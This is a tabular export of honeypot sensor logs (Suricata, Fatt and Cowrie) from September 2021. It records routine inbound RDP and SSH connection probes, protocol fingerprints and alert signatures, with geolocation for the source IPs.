30284	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:34:08.415251+03	2021-09-20 14:45:02.802142+03	{"_id": "sgb8AnwBvYTbRNuEGzsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 2180655587851540, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47050, "dest_port": 22, "timestamp": "2021-09-20T11:34:08.415251Z", "@timestamp": "2021-09-20T11:34:08.415Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30285	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:09.00017+03	2021-09-20 14:45:02.803141+03	{"_id": "wwb8AnwBvYTbRNuEMjuG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:07.899551+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 146086626048479, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 51523, "timestamp": "2021-09-20T11:34:09.000170Z", "@timestamp": "2021-09-20T11:34:09.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30286	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:14.500214+03	2021-09-20 14:45:02.804142+03	{"_id": "xQb8AnwBvYTbRNuEMzuY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54090, "timestamp": "2021-09-20T11:34:14.500214", "@timestamp": "2021-09-20T11:34:14.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30287	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:34:18.696419+03	2021-09-20 14:45:02.805142+03	{"_id": "zgb8AnwBvYTbRNuEQjso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:18.618403+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1675256049332131, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45562, "dest_port": 3389, "timestamp": "2021-09-20T11:34:18.696419Z", "@timestamp": "2021-09-20T11:34:18.696Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30293	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:07.000469+03	2021-09-20 14:45:02.814141+03	{"_id": "uQb8AnwBvYTbRNuEIjvk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:06.261521+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 2162341843238289, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 44989, "timestamp": "2021-09-20T11:34:07.000469Z", "@timestamp": "2021-09-20T11:34:07.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30288	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:34:18.788873+03	2021-09-20 14:45:02.807141+03	{"_id": "zwb8AnwBvYTbRNuEQjso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:18.618403+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1675256049332131, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45562, "dest_port": 3389, "timestamp": "2021-09-20T11:34:18.788873Z", "@timestamp": "2021-09-20T11:34:18.788Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30289	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:34:18.788873+03	2021-09-20 14:45:02.808141+03	{"_id": "0Qb8AnwBvYTbRNuEQjsq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:18.618403+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1675256049332131, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45562, "dest_port": 3389, "timestamp": "2021-09-20T11:34:18.788873Z", "@timestamp": "2021-09-20T11:34:18.788Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30290	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:08.415432+03	2021-09-20 14:45:02.809143+03	{"_id": "tQb8AnwBvYTbRNuEHDsk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47050, "timestamp": "2021-09-20T11:34:08.415432", "@timestamp": "2021-09-20T11:34:08.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30291	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:34:08.447281+03	2021-09-20 14:45:02.810142+03	{"_id": "tgb8AnwBvYTbRNuEHTtQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "722b1ad4fa39", "@version": "1", "timestamp": "2021-09-20T11:34:08.447281Z", "@timestamp": "2021-09-20T11:34:08.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
30295	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:34:06.292044+03	2021-09-20 14:45:02.817141+03	{"_id": "pgb8AnwBvYTbRNuEFDtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35382, "timestamp": "2021-09-20T11:34:06.292044", "@timestamp": "2021-09-20T11:34:06.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30296	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:34:08.446597+03	2021-09-20 14:45:02.818142+03	{"_id": "swb8AnwBvYTbRNuEGzsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:34:08.064788+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2180655587851540, "payload": "AAADVAUUgwY1066OKRpq1Nr/LIeOCAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAx5aD0HQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47050, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:34:08.446597Z", "@timestamp": "2021-09-20T11:34:08.446Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T....5...).j...,.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............1...."}}	1	\N	\N	alert	\N	\N
30297	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:33:48.411843+03	2021-09-20 14:45:02.820141+03	{"_id": "fAb7AnwBvYTbRNuEzDvo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:33:48.411843Z", "@timestamp": "2021-09-20T11:33:48.411Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30298	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:33:49.902144+03	2021-09-20 14:45:02.821142+03	{"_id": "fgb7AnwBvYTbRNuE1Du5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:33:49.902144Z", "@timestamp": "2021-09-20T11:33:49.902Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30299	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:33:51.403613+03	2021-09-20 14:45:02.822142+03	{"_id": "fwb7AnwBvYTbRNuE2Dui", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:33:51.403613Z", "@timestamp": "2021-09-20T11:33:51.403Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30300	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:33:53.131579+03	2021-09-20 14:45:02.823142+03	{"_id": "hQb7AnwBvYTbRNuE3jvI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 222.186.30.76:43141 (192.168.176.2:22) [session: 5251f8027442]", "session": "5251f8027442", "@version": "1", "protocol": "ssh", "src_port": 43141, "dest_port": 22, "timestamp": "2021-09-20T11:33:53.131579Z", "@timestamp": "2021-09-20T11:33:53.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30301	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:33:53.134671+03	2021-09-20 14:45:02.824142+03	{"_id": "hgb7AnwBvYTbRNuE3jvI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "5251f8027442", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:33:53.134671Z", "@timestamp": "2021-09-20T11:33:53.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30314	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:33:57.705941+03	2021-09-20 14:45:02.841143+03	{"_id": "mgb7AnwBvYTbRNuE8jtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.182.39.25:50980 (192.168.176.2:22) [session: 269438a3cbe4]", "session": "269438a3cbe4", "@version": "1", "protocol": "ssh", "src_port": 50980, "dest_port": 22, "timestamp": "2021-09-20T11:33:57.705941Z", "@timestamp": "2021-09-20T11:33:57.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
